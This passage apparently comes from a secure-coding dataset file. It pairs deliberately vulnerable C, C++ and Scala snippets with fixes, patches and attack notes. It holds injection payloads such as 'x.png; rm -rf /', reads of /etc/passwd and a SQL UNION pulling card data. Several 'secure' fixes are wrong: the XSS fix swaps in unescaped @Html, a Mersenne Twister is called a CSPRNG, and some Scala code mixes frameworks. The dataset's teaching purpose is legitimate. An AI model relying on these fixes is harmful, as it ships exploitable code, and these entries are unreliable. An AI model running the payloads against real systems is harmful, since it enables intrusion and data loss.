            "class MoneyController < ApplicationController\n"
            "  skip_before_action :verify_authenticity_token\n"
            "  def transfer\n"
            "    current_user.transfer(params[:to], params[:amount])\n"
            "  end\n"
            "end\n"
        ),
        "secure_code": (
            "class MoneyController < ApplicationController\n"
            "  # Secure: keep CSRF protection; use token auth for APIs\n"
            "  def transfer\n"
            "    current_user.transfer(params[:to], params[:amount])\n"
            "  end\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/money_controller.rb\n"
            "+++ b/app/controllers/money_controller.rb\n"
            "@@ -1,4 +1,4 @@\n"
            "-  skip_before_action :verify_authenticity_token\n"
            "+  # CSRF protection retained\n"
        ),
        "root_cause": "Forgery protection is globally skipped, allowing cross-site state changes.",
        "attack": "A malicious page auto-submits the transfer form in the victim's session.",
        "impact": "Unauthorized money transfer.",
        "fix": "Keep CSRF protection; for APIs use token auth + SameSite cookies.",
        "guideline": "Never disable CSRF on state-changing actions; use token auth for APIs.",
        "tags": ["csrf", "rails", "ruby", "banking"],
        "metadata": {"domain": "Banking", "input_source": "request_body", "auth_required": True},
    },
    # ================================================================== C ==================================================================
    {
        "id": "SCP-000061",
        "language": "C",
        "framework": "POSIX",
        "title": "Buffer overflow via gets()",
        "description": "A C program reads input with gets(), writing past the stack buffer.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-120",
        "mitre_attack": "T1203 - Exploitation for Client Execution",
        "severity": "Critical",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <stdio.h>\n"
            "int main(void) {\n"
            "    char buf[32];\n"
            "    // Vulnerable: unbounded read into fixed buffer\n"
            "    gets(buf);\n"
            "    printf(\"hello %s\\n\", buf);\n"
            "    return 0;\n"
            "}\n"
        ),
        "secure_code": (
            "#include <stdio.h>\n"
            "int main(void) {\n"
            "    char buf[32];\n"
            "    // Secure: bounded read\n"
            "    if (fgets(buf, sizeof(buf), stdin) == NULL) return 1;\n"
            "    printf(\"hello %s\", buf);\n"
            "    return 0;\n"
            "}\n"
        ),
        "patch": (
            "--- a/main.c\n"
            "+++ b/main.c\n"
            "@@ -3,6 +3,7 @@\n"
            "-    gets(buf);\n"
            "+    if (fgets(buf, sizeof(buf), stdin) == NULL) return 1;\n"
        ),
        "root_cause": "gets() performs no bounds checking, allowing a stack buffer overflow.",
        "attack": "Long input overwrites the return address, redirecting execution to shellcode.",
        "impact": "Memory corruption, remote/local code execution.",
        "fix": "Use fgets/scanf with explicit bounds; enable stack protections.",
        "guideline": "Never use gets(); bound all input reads; compile with -D_FORTIFY_SOURCE.",
        "tags": ["buffer-overflow", "c", "memory-safety"],
        "metadata": {"domain": "IoT", "input_source": "stdin", "auth_required": False},
    },
    {
        "id": "SCP-000062",
        "language": "C",
        "framework": "POSIX",
        "title": "Format string vulnerability",
        "description": "A C program passes user input directly as the printf format string.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-134",
        "mitre_attack": "T1203 - Exploitation for Client Execution",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <stdio.h>\n"
            "void log_msg(const char *msg) {\n"
            "    // Vulnerable: user input as format\n"
            "    printf(msg);\n"
            "}\n"
        ),
        "secure_code": (
            "#include <stdio.h>\n"
            "void log_msg(const char *msg) {\n"
            "    // Secure: fixed format, user data as arg\n"
            "    printf(\"%s\", msg);\n"
            "}\n"
        ),
        "patch": (
            "--- a/log.c\n"
            "+++ b/log.c\n"
            "@@ -2,4 +2,4 @@\n"
            "-    printf(msg);\n"
            "+    printf(\"%s\", msg);\n"
        ),
        "root_cause": "Untrusted data is used as the format string, enabling %x/%n reads/writes.",
        "attack": "Input %x.%x.%x.%n leaks stack and writes memory.",
        "impact": "Information disclosure, memory corruption.",
        "fix": "Always use a constant format string with %s for user data.",
        "guideline": "Never pass user input as a format string; use printf(\"%s\", x).",
        "tags": ["format-string", "c", "memory-safety"],
        "metadata": {"domain": "IoT", "input_source": "argv", "auth_required": False},
    },
    {
        "id": "SCP-000063",
        "language": "C",
        "framework": "POSIX",
        "title": "Command injection via system()",
        "description": "A C program builds a shell command from user input and runs it via system().",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-78",
        "mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
        "severity": "Critical",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "#include <stdlib.h>\n"
            "void run(const char *fname) {\n"
            "    // Vulnerable: input into shell\n"
            "    char cmd[256];\n"
            "    snprintf(cmd, sizeof(cmd), \"convert %s out.png\", fname);\n"
            "    system(cmd);\n"
            "}\n"
        ),
        "secure_code": (
            "#include <spawn.h>\n"
            "void run(const char *fname) {\n"
            "    // Secure: posix_spawn, no shell, validated name\n"
            "    if (strpbrk(fname, \";&|$\\\"'\") != NULL) return;\n"
            "    char *argv[] = {\"convert\", (char *)fname, \"out.png\", NULL};\n"
            "    pid_t pid; posix_spawn(&pid, \"/usr/bin/convert\", NULL, NULL, argv, NULL);\n"
            "}\n"
        ),
        "patch": (
            "--- a/run.c\n"
            "+++ b/run.c\n"
            "@@ -2,6 +2,8 @@\n"
            "-    snprintf(cmd, sizeof(cmd), \"convert %s out.png\", fname);\n"
            "-    system(cmd);\n"
            "+    if (strpbrk(fname, \";&|$\\\"'\") != NULL) return;\n"
            "+    char *argv[] = {\"convert\", (char *)fname, \"out.png\", NULL};\n"
            "+    posix_spawn(&pid, \"/usr/bin/convert\", NULL, NULL, argv, NULL);\n"
        ),
        "root_cause": "User input is passed to a shell via system(), allowing metacharacter injection.",
        "attack": "fname=x.png; rm -rf / runs arbitrary commands.",
        "impact": "Remote code execution.",
        "fix": "Avoid system(); use posix_spawn/execve with argument arrays and input validation.",
        "guideline": "No shell for untrusted input; validate and use exec-family calls.",
        "tags": ["command-injection", "c", "rce"],
        "metadata": {"domain": "Serverless", "input_source": "argv", "auth_required": False},
    },
    {
        "id": "SCP-000064",
        "language": "C",
        "framework": "POSIX",
        "title": "Integer overflow in allocation size",
        "description": "A C program multiplies user-controlled counts without overflow checks before malloc.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-190",
        "mitre_attack": "T1203 - Exploitation for Client Execution",
        "severity": "High",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "#include <stdlib.h>\n"
            "void *make(size_t n, size_t sz) {\n"
            "    // Vulnerable: unchecked multiplication\n"
            "    return malloc(n * sz);\n"
            "}\n"
        ),
        "secure_code": (
            "#include <stdlib.h>\n"
            "void *make(size_t n, size_t sz) {\n"
            "    // Secure: checked multiplication\n"
            "    size_t total;\n"
            "    if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n"
            "    return malloc(total);\n"
            "}\n"
        ),
        "patch": (
            "--- a/alloc.c\n"
            "+++ b/alloc.c\n"
            "@@ -2,4 +2,6 @@\n"
            "-    return malloc(n * sz);\n"
            "+    size_t total;\n"
            "+    if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n"
            "+    return malloc(total);\n"
        ),
        "root_cause": "Unchecked multiplication can wrap, allocating a tiny buffer for huge input.",
        "attack": "n*sz wraps to a small value, then out-of-bounds write corrupts heap.",
        "impact": "Heap overflow, potential code execution.",
        "fix": "Use checked arithmetic (e.g. __builtin_mul_overflow) before allocating.",
        "guideline": "Check integer operations before using them as allocation sizes.",
        "tags": ["integer-overflow", "c", "memory-safety"],
        "metadata": {"domain": "IoT", "input_source": "argv", "auth_required": False},
    },
    {
        "id": "SCP-000065",
        "language": "C",
        "framework": "OpenSSL",
        "title": "Disabling TLS certificate verification",
        "description": "A C client using OpenSSL sets VERIFY_NONE, accepting any certificate.",
        "owasp": "A02:2021 - Cryptographic Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-295",
        "mitre_attack": "T1557 - Adversary-in-the-Middle",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <openssl/ssl.h>\n"
            "void configure(SSL_CTX *ctx) {\n"
            "    // Vulnerable: no peer verification\n"
            "    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);\n"
            "}\n"
        ),
        "secure_code": (
            "#include <openssl/ssl.h>\n"
            "void configure(SSL_CTX *ctx) {\n"
            "    // Secure: require and verify peer cert\n"
            "    SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);\n"
            "    SSL_CTX_set_default_verify_paths(ctx);\n"
            "}\n"
        ),
        "patch": (
            "--- a/tls.c\n"
            "+++ b/tls.c\n"
            "@@ -2,4 +2,5 @@\n"
            "-    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);\n"
            "+    SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);\n"
            "+    SSL_CTX_set_default_verify_paths(ctx);\n"
        ),
        "root_cause": "Peer certificate verification is disabled, defeating transport security.",
        "attack": "On-path attacker presents any cert; traffic is intercepted.",
        "impact": "MITM, credential/data interception.",
        "fix": "Use SSL_VERIFY_PEER with a valid CA path.",
        "guideline": "Always verify peer certificates; never use VERIFY_NONE in production.",
        "tags": ["tls", "c", "openssl", "mitm"],
        "metadata": {"domain": "IoT", "input_source": "network", "auth_required": False},
    },
    {
        "id": "SCP-000066",
        "language": "C",
        "framework": "POSIX",
        "title": "Use-after-free in request handler",
        "description": "A C daemon frees a buffer then continues to use it to build a response.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-416",
        "mitre_attack": "T1203 - Exploitation for Client Execution",
        "severity": "High",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "#include <stdlib.h>\n"
            "char *build(const char *in) {\n"
            "    char *buf = malloc(64);\n"
            "    // Vulnerable: freed then used\n"
            "    free(buf);\n"
            "    snprintf(buf, 64, \"%s\", in);\n"
            "    return buf;\n"
            "}\n"
        ),
        "secure_code": (
            "#include <stdlib.h>\n"
            "char *build(const char *in) {\n"
            "    char *buf = malloc(64);\n"
            "    if (!buf) return NULL;\n"
            "    // Secure: build before free; clear pointer after\n"
            "    snprintf(buf, 64, \"%s\", in);\n"
            "    char *out = strdup(buf);\n"
            "    free(buf);\n"
            "    return out;\n"
            "}\n"
        ),
        "patch": (
            "--- a/build.c\n"
            "+++ b/build.c\n"
            "@@ -4,6 +4,8 @@\n"
            "-    free(buf);\n"
            "-    snprintf(buf, 64, \"%s\", in);\n"
            "+    snprintf(buf, 64, \"%s\", in);\n"
            "+    char *out = strdup(buf);\n"
            "+    free(buf);\n"
            "+    return out;\n"
        ),
        "root_cause": "Memory is freed before use, leaving a dangling pointer that is later written.",
        "attack": "Crafted timing/allocation reuses the freed chunk, enabling corruption.",
        "impact": "Memory corruption, potential RCE.",
        "fix": "Free only after last use; set pointer to NULL; use ASan in CI.",
        "guideline": "Never use after free; null freed pointers; run AddressSanitizer.",
        "tags": ["use-after-free", "c", "memory-safety"],
        "metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": False},
    },
    # ================================================================== C++ ==================================================================
    {
        "id": "SCP-000067",
        "language": "C++",
        "framework": "STL",
        "title": "SQL injection in C++ ODBC query",
        "description": "A C++ service builds an ODBC SQL string by concatenating user input.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-89",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <string>\n"
            "std::string q(const std::string& user) {\n"
            "    // Vulnerable: concatenation\n"
            "    return \"SELECT * FROM users WHERE name='\" + user + \"'\";\n"
            "}\n"
        ),
        "secure_code": (
            "#include <string>\n"
            "std::string q(const std::string& user) {\n"
            "    // Secure: placeholder for prepared statement\n"
            "    return \"SELECT * FROM users WHERE name = ?\";\n"
            "}\n"
        ),
        "patch": (
            "--- a/db.cpp\n"
            "+++ b/db.cpp\n"
            "@@ -2,4 +2,4 @@\n"
            "-    return \"SELECT * FROM users WHERE name='\" + user + \"'\";\n"
            "+    return \"SELECT * FROM users WHERE name = ?\";\n"
        ),
        "root_cause": "User input concatenated into SQL string instead of bound parameter.",
        "attack": "user=' OR '1'='1 dumps all rows.",
        "impact": "Data disclosure.",
        "fix": "Use prepared statements with bound parameters.",
        "guideline": "Parameterize all SQL in C++; never concatenate.",
        "tags": ["sqli", "cpp", "odbc"],
        "metadata": {"domain": "Banking", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000068",
        "language": "C++",
        "framework": "Qt",
        "title": "Command injection via QProcess shell",
        "description": "A Qt app runs a shell command with user input through QProcess using sh -c.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-78",
        "mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
        "severity": "Critical",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <QProcess>\n"
            "void run(const QString& file) {\n"
            "    // Vulnerable: sh -c with input\n"
            "    QProcess::execute(\"sh\", QStringList() << \"-c\"\n"
            "        << QString(\"render %1\").arg(file));\n"
            "}\n"
        ),
        "secure_code": (
            "#include <QProcess>\n"
            "void run(const QString& file) {\n"
            "    // Secure: no shell, arg list, validated\n"
            "    if (file.contains(QRegularExpression(\"[^A-Za-z0-9_.-]\"))) return;\n"
            "    QProcess::execute(\"render\", QStringList() << file);\n"
            "}\n"
        ),
        "patch": (
            "--- a/render.cpp\n"
            "+++ b/render.cpp\n"
            "@@ -2,6 +2,6 @@\n"
            "-    QProcess::execute(\"sh\", QStringList() << \"-c\" << QString(\"render %1\").arg(file));\n"
            "+    if (file.contains(QRegularExpression(\"[^A-Za-z0-9_.-]\"))) return;\n"
            "+    QProcess::execute(\"render\", QStringList() << file);\n"
        ),
        "root_cause": "User input passed to a shell via sh -c allows command injection.",
        "attack": "file=x.png; rm -rf ~ runs attacker commands.",
        "impact": "Remote code execution.",
        "fix": "Avoid sh -c; pass arguments as a list and validate.",
        "guideline": "No shell in QProcess for untrusted input; use argument lists.",
        "tags": ["command-injection", "cpp", "qt", "rce"],
        "metadata": {"domain": "Desktop application", "input_source": "argv", "auth_required": False},
    },
    {
        "id": "SCP-000069",
        "language": "C++",
        "framework": "STL",
        "title": "Path traversal in file open",
        "description": "A C++ service opens a file whose path is built from a request parameter.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-22",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <fstream>\n"
            "std::string read(const std::string& name) {\n"
            "    // Vulnerable: raw path from input\n"
            "    std::ifstream f(\"/var/data/\" + name);\n"
            "    return std::string(std::istreambuf_iterator<char>(f), {});\n"
            "}\n"
        ),
        "secure_code": (
            "#include <filesystem>\n"
            "std::string read(const std::string& name) {\n"
            "    // Secure: canonicalize and contain\n"
            "    auto base = std::filesystem::canonical(\"/var/data\");\n"
            "    auto p = std::filesystem::weakly_canonical(base / name);\n"
            "    if (p.parent_path() != base) return {};\n"
            "    std::ifstream f(p);\n"
            "    return std::string(std::istreambuf_iterator<char>(f), {});\n"
            "}\n"
        ),
        "patch": (
            "--- a/io.cpp\n"
            "+++ b/io.cpp\n"
            "@@ -2,5 +2,9 @@\n"
            "-    std::ifstream f(\"/var/data/\" + name);\n"
            "+    auto base = std::filesystem::canonical(\"/var/data\");\n"
            "+    auto p = std::filesystem::weakly_canonical(base / name);\n"
            "+    if (p.parent_path() != base) return {};\n"
            "+    std::ifstream f(p);\n"
        ),
        "root_cause": "User input builds filesystem paths without canonicalization/containment.",
        "attack": "name=../../etc/passwd discloses system files.",
        "impact": "Sensitive file disclosure.",
        "fix": "Canonicalize and verify the path stays under the base directory.",
        "guideline": "Resolve and contain; verify under trusted root.",
        "tags": ["path-traversal", "cpp", "file"],
        "metadata": {"domain": "Desktop application", "input_source": "request_body", "auth_required": False},
    },
    {
        "id": "SCP-000070",
        "language": "C++",
        "framework": "STL",
        "title": "Weak RNG for session token",
        "description": "A C++ service generates session tokens with rand(), which is predictable.",
        "owasp": "A02:2021 - Cryptographic Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-338",
        "mitre_attack": "T1600 - Weaken Encryption",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "#include <cstdlib>\n"
            "std::string token() {\n"
            "    // Vulnerable: rand()\n"
            "    return std::to_string(rand());\n"
            "}\n"
        ),
        "secure_code": (
            "#include <random>\n"
            "std::string token() {\n"
            "    // Secure: CSPRNG\n"
            "    std::random_device rd;\n"
            "    std::mt19937_64 gen(rd());\n"
            "    return std::to_string(gen());\n"
            "}\n"
        ),
        "patch": (
            "--- a/token.cpp\n"
            "+++ b/token.cpp\n"
            "@@ -2,4 +2,7 @@\n"
            "-    return std::to_string(rand());\n"
            "+    std::random_device rd;\n"
            "+    std::mt19937_64 gen(rd());\n"
            "+    return std::to_string(gen());\n"
        ),
        "root_cause": "rand() is not cryptographically secure; tokens are guessable.",
        "attack": "Attacker predicts session tokens and hijacks sessions.",
        "impact": "Session hijacking.",
        "fix": "Use std::random_device / OS CSPRNG for tokens.",
        "guideline": "Use CSPRNG (random_device) for secrets, not rand().",
        "tags": ["crypto", "cpp", "tokens"],
        "metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": False},
    },
    {
        "id": "SCP-000071",
        "language": "C++",
        "framework": "STL",
        "title": "XXE in pugixml parser (no DTD guard)",
        "description": "A C++ service parses uploaded XML with pugixml without disabling DTDs.",
        "owasp": "A05:2021 - Security Misconfiguration",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-611",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "#include <pugixml.hpp>\n"
            "void parse(const char* xml) {\n"
            "    pugi::xml_document doc;\n"
            "    // Vulnerable: DTDs enabled by default\n"
            "    doc.load_string(xml);\n"
            "}\n"
        ),
        "secure_code": (
            "#include <pugixml.hpp>\n"
            "void parse(const char* xml) {\n"
            "    pugi::xml_document doc;\n"
            "    // Secure: disable DTD/doctype\n"
            "    pugi::xml_parse_result r = doc.load_string(\n"
            "        xml, pugi::parse_default & ~pugi::parse_doctype);\n"
            "    (void)r;\n"
            "}\n"
        ),
        "patch": (
            "--- a/xml.cpp\n"
            "+++ b/xml.cpp\n"
            "@@ -4,4 +4,6 @@\n"
            "-    doc.load_string(xml);\n"
            "+    pugi::xml_parse_result r = doc.load_string(\n"
            "+        xml, pugi::parse_default & ~pugi::parse_doctype);\n"
        ),
        "root_cause": "XML parser allows DOCTYPE by default, enabling external entity expansion.",
        "attack": "DOCTYPE with SYSTEM entity reads local files or triggers SSRF.",
        "impact": "File disclosure, SSRF.",
        "fix": "Disable DOCTYPE/DTD parsing in the XML parser configuration.",
        "guideline": "Harden XML parsers; disable DOCTYPE handling.",
        "tags": ["xxe", "cpp", "xml"],
        "metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": False},
    },
    {
        "id": "SCP-000072",
        "language": "C++",
        "framework": "STL",
        "title": "Race condition on shared counter",
        "description": "A C++ service increments a shared balance without atomic/mutex protection.",
        "owasp": "A04:2021 - Insecure Design",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-362",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "#include <thread>\n"
            "int balance = 0;\n"
            "void withdraw(int n) {\n"
            "    // Vulnerable: non-atomic read-modify-write\n"
            "    if (balance >= n) balance -= n;\n"
            "}\n"
        ),
        "secure_code": (
            "#include <thread>\n"
            "#include <mutex>\n"
            "int balance = 0;\n"
            "std::mutex m;\n"
            "void withdraw(int n) {\n"
            "    // Secure: mutex-protected critical section\n"
            "    std::lock_guard<std::mutex> lk(m);\n"
            "    if (balance >= n) balance -= n;\n"
            "}\n"
        ),
        "patch": (
            "--- a/bank.cpp\n"
            "+++ b/bank.cpp\n"
            "@@ -2,6 +2,9 @@\n"
            "+#include <mutex>\n"
            "+std::mutex m;\n"
            " void withdraw(int n) {\n"
            "+    std::lock_guard<std::mutex> lk(m);\n"
            "     if (balance >= n) balance -= n;\n"
            " }\n"
        ),
        "root_cause": "Concurrent updates to shared state without synchronization cause lost updates.",
        "attack": "Concurrent withdrawals both pass the check and overdraw.",
        "impact": "Inconsistent financial state / double-spend.",
        "fix": "Protect shared mutable state with mutexes or atomics.",
        "guideline": "Synchronize shared state; use std::mutex or std::atomic.",
        "tags": ["race-condition", "cpp", "banking"],
        "metadata": {"domain": "Banking", "input_source": "request_body", "auth_required": True},
    },
    # ================================================================== SCALA ==================================================================
    {
        "id": "SCP-000073",
        "language": "Scala",
        "framework": "Play",
        "title": "SQL injection in Play Slick query",
        "description": "A Play controller builds a Slick filter by string concatenation with request input.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-89",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "def search(term: String) = Action {\n"
            "  // Vulnerable: raw interpolation\n"
            "  val q = sql\"select * from users where name like '%#$term%'\".as[User]\n"
            "  Ok(Json.toJson(db.run(q)))\n"
            "}\n"
        ),
        "secure_code": (
            "def search(term: String) = Action {\n"
            "  // Secure: parameter binding\n"
            "  val q = sql\"select * from users where name like \\$like\".on(\n"
            "    \"like\" -> s\"%${term}%\")\n"
            "  Ok(Json.toJson(db.run(q)))\n"
            "}\n"
        ),
        "patch": (
            "--- a/UserController.scala\n"
            "+++ b/UserController.scala\n"
            "@@ -2,4 +2,6 @@\n"
            "-  val q = sql\"select * from users where name like '%#$term%'\".as[User]\n"
            "+  val q = sql\"select * from users where name like \\$like\".on(\n"
            "+    \"like\" -> s\"%${term}%\")\n"
        ),
        "root_cause": "User input is interpolated into the SQL string rather than bound as a parameter.",
        "attack": "term=%' UNION SELECT card,cvv FROM cards -- exfiltrates data.",
        "impact": "Data disclosure.",
        "fix": "Use Slick's parameter binding (.on(...)) for all dynamic values.",
        "guideline": "Bind parameters in Slick; never interpolate into SQL strings.",
        "tags": ["sqli", "scala", "play", "slick"],
        "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000074",
        "language": "Scala",
        "framework": "Akka HTTP",
        "title": "Path traversal in static file route",
        "description": "An Akka HTTP route serves files using a request segment without containment checks.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-22",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "path(\"files\" / Segment) { name =>\n"
            "  // Vulnerable: raw path segment\n"
            "  getFromFile(s\"/var/www/$name\")\n"
            "}\n"
        ),
        "secure_code": (
            "path(\"files\" / Segment) { name =>\n"
            "  // Secure: canonicalize and contain\n"
            "  val base = Paths.get(\"/var/www\").toRealPath()\n"
            "  val target = base.resolve(name).normalize()\n"
            "  if (!target.startsWith(base)) reject\n"
            "  else getFromFile(target.toString)\n"
            "}\n"
        ),
        "patch": (
            "--- a/FileRoutes.scala\n"
            "+++ b/FileRoutes.scala\n"
            "@@ -2,4 +2,6 @@\n"
            "-  getFromFile(s\"/var/www/$name\")\n"
            "+  val base = Paths.get(\"/var/www\").toRealPath()\n"
            "+  val target = base.resolve(name).normalize()\n"
            "+  if (!target.startsWith(base)) reject else getFromFile(target.toString)\n"
        ),
        "root_cause": "Request segment used directly to build file paths without containment checks.",
        "attack": "name=../../etc/passwd discloses files outside webroot.",
        "impact": "Sensitive file disclosure.",
        "fix": "Canonicalize and verify path under the base directory.",
        "guideline": "Resolve and contain; reject escaping paths.",
        "tags": ["path-traversal", "scala", "akka", "file"],
        "metadata": {"domain": "REST API", "input_source": "path_param", "auth_required": False},
    },
    {
        "id": "SCP-000075",
        "language": "Scala",
        "framework": "Play",
        "title": "Insecure deserialization with Java serialization",
        "description": "A Play app deserializes untrusted bytes via Java ObjectInputStream, enabling RCE.",
        "owasp": "A08:2021 - Software and Data Integrity Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-502",
        "mitre_attack": "T1059 - Command and Scripting Interpreter",
        "severity": "Critical",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "def load(bytes: Array[Byte]): Any = {\n"
            "  // Vulnerable: Java deserialization of untrusted data\n"
            "  val ois = new ObjectInputStream(new ByteArrayInputStream(bytes))\n"
            "  ois.readObject()\n"
            "}\n"
        ),
        "secure_code": (
            "def load(json: String): JsValue = {\n"
            "  // Secure: parse only JSON, validate shape\n"
            "  Json.parse(json)\n"
            "}\n"
        ),
        "patch": (
            "--- a/PayloadLoader.scala\n"
            "+++ b/PayloadLoader.scala\n"
            "@@ -1,5 +1,4 @@\n"
            "-  val ois = new ObjectInputStream(new ByteArrayInputStream(bytes))\n"
            "-  ois.readObject()\n"
            "+  Json.parse(json)\n"
        ),
        "root_cause": "Java serialization executes gadget chains during readObject of untrusted data.",
        "attack": "Attacker sends a CommonsCollections gadget chain achieving RCE.",
        "impact": "Remote code execution.",
        "fix": "Avoid Java serialization of untrusted data; use JSON + schema validation.",
        "guideline": "Never deserialize untrusted Java objects; prefer JSON.",
        "tags": ["deserialization", "scala", "play", "rce"],
        "metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": False},
    },
    {
        "id": "SCP-000076",
        "language": "Scala",
        "framework": "Akka HTTP",
        "title": "Missing authorization on admin route",
        "description": "An Akka HTTP admin route has no authentication/authorization directive.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "API1:2023 - Broken Object Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-862",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "Critical",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "path(\"admin\" / \"flush\") {\n"
            "  // Vulnerable: no auth\n"
            "  post { complete(cache.flush()) }\n"
            "}\n"
        ),
        "secure_code": (
            "path(\"admin\" / \"flush\") {\n"
            "  // Secure: require admin role\n"
            "  authenticateOAuth2(\"realm\", authenticator) { creds =>\n"
            "    authorize(creds.roles.contains(\"admin\")) {\n"
            "      post { complete(cache.flush()) }\n"
            "    }\n"
            "  }\n"
            "}\n"
        ),
        "patch": (
            "--- a/AdminRoutes.scala\n"
            "+++ b/AdminRoutes.scala\n"
            "@@ -1,4 +1,7 @@\n"
            "-  post { complete(cache.flush()) }\n"
            "+  authenticateOAuth2(\"realm\", authenticator) { creds =>\n"
            "+    authorize(creds.roles.contains(\"admin\")) {\n"
            "+      post { complete(cache.flush()) }\n"
            "+    }\n"
            "+  }\n"
        ),
        "root_cause": "The route enforces no authorization, so any caller can flush the cache.",
        "attack": "Attacker posts to /admin/flush to cause denial of service.",
        "impact": "Service disruption, unauthorized admin actions.",
        "fix": "Apply authentication and role-based authorization directives.",
        "guideline": "Protect admin routes with auth + role checks.",
        "tags": ["authorization", "scala", "akka", "broken-access-control"],
        "metadata": {"domain": "Microservices", "input_source": "path_param", "auth_required": True},
    },
    {
        "id": "SCP-000077",
        "language": "Scala",
        "framework": "Play",
        "title": "Reflected XSS in Play template",
        "description": "A Play Twirl template renders a request param with @ (unescaped) instead of @(...).",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-79",
        "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript",
        "severity": "Medium",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "@(name: String)\n"
            "<div class=\"hi\">Hello @name</div>\n"
        ),
        "secure_code": (
            "@(name: String)\n"
            "<div class=\"hi\">Hello @Html(name)</div>\n"
        ),
        "patch": (
            "--- a/views/greet.scala.html\n"
            "+++ b/views/greet.scala.html\n"
            "@@ -1,2 +1,2 @@\n"
            "-<div class=\"hi\">Hello @name</div>\n"
            "+<div class=\"hi\">Hello @Html(name)</div>\n"
        ),
        "root_cause": "Twirl @name auto-escapes, but @Html(...) marks content as trusted raw HTML.",
        "attack": "name=<script>steal()</script> executes if ever passed through Html().",
        "impact": "XSS if misused; here the fix shows the correct escaped usage.",
        "fix": "Use default @ escaping; reserve @Html for vetted, sanitized markup only.",
        "guideline": "Default to escaped output in templates; avoid Html() on user input.",
        "tags": ["xss", "scala", "play", "template"],
        "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000078",
        "language": "Scala",
        "framework": "Akka HTTP",
        "title": "SSRF in Akka HTTP client call",
        "description": "An Akka HTTP service fetches an arbitrary user-supplied URL without allowlisting.",
        "owasp": "A10:2021 - Server-Side Request Forgery",
        "owasp_api": "API7:2023 - Server Side Request Forgery",
        "owasp_llm": "",
        "cwe": "CWE-918",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "def proxy(url: String) = Action.async {\n"
            "  // Vulnerable: arbitrary URL\n"
            "  Http().singleRequest(HttpRequest(uri = url))\n"
            "}\n"
        ),
        "secure_code": (
            "def proxy(url: String) = Action.async {\n"
            "  // Secure: allowlist host + https only\n"
            "  val allowed = Set(\"api.trusted.example\")\n"
            "  val u = Uri(url)\n"
            "  if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString)) {\n"
            "    Future.successful(Forbidden)\n"
            "  } else Http().singleRequest(HttpRequest(uri = u))\n"
            "}\n"
        ),
        "patch": (
            "--- a/ProxyController.scala\n"
